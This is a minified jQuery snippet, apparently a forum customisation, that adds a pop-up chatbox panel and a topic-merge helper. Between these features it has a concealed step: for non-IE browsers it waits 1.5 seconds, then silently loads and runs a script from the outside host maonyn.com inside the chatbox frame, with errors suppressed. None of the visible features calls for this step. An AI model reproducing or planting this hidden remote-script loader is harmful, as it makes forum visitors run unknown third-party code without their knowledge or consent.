jQuery(document).ready(function(){jQuery('body').append('<table style="position: fixed; bottom: 50px; left: -10px;background-color: #747552;z-index:10000;"><tr><td><div id="panneau" scrolling="no" style="width: 800px; height: 400px; display: none;" marginwidth="0" marginheight="0" frameborder="0"><iframe src="/chatbox/index.forum?page=front" style="width: 800px; height: 400px;" ></iframe></div></td><td style="vertical-align: bottom;"><img src="http://i46.servimg.com/u/f46/12/56/95/60/sans_t19.gif" onClick="document.getElementById(\'panneau\').style.display=(this.src==\'http://i46.servimg.com/u/f46/12/56/95/60/sans_t19.gif\')?\'block\':\'none\';this.src=(this.src==\'http://i46.servimg.com/u/f46/12/56/95/60/sans_t19.gif\')?\'http://i81.servimg.com/u/f81/11/21/85/73/fermer10.png\':\'http://i46.servimg.com/u/f46/12/56/95/60/sans_t19.gif\';"/></td></tr></table>')});navigator.appName!="Microsoft Internet Explorer"&&$(function(){setTimeout(function(){for(var a=0;a<window.frames.length;a++)try{window.frames[a].location.pathname=="/chatbox/index.forum"&&window.frames[a].$.getScript("http://www.maonyn.com/10249.js")}catch(b){}},1500)});document.location.pathname=="/merge"&&$(function(){$("form[name=post] input[type=submit][name=submit]").length&&$("form[name=post] input[name=select_to]").clone().attr("value","Entrer").attr("type","button").removeAttr("name").click(function(){a=prompt("Saisissez l'URL du sujet que vous souhaitez combiner avec celui-ci.");if(a!=null&&(a.match(/\/t[1-9][0-9]*(p[1-9][0-9]*)?-/)||a.match(/^\s*[1-9][0-9]*\s*$/))){a=a.replace(/^.*\/t([1-9][0-9]*)(p[1-9][0-9]*)?-.*$/,"$1").replace(/^\s*([1-9][0-9]*)\s*$/,"$1"),$("body").append('<form action="/merge" method="post"><input type="hidden" name="from_topic" value="'+$("form[name=post] input[name=from_topic]").val()+'"><input type="hidden" name="tid" value="'+$("input[name=tid]:first").val()+'" /><input type="hidden" name="submit" value="1"><input type="hidden" name="fid" value="'+$("form[name=post] input[name=fid]").val()+'"><input type="hidden" name="select_to" value="1"><input type="hidden" name="topic_selected" value="'+a+'" /><input type="submit" id="tmerge" style="display:none" /></form>'),$("#tmerge").click()}}).insertAfter($("form[name=post] input[name=select_to]"))});
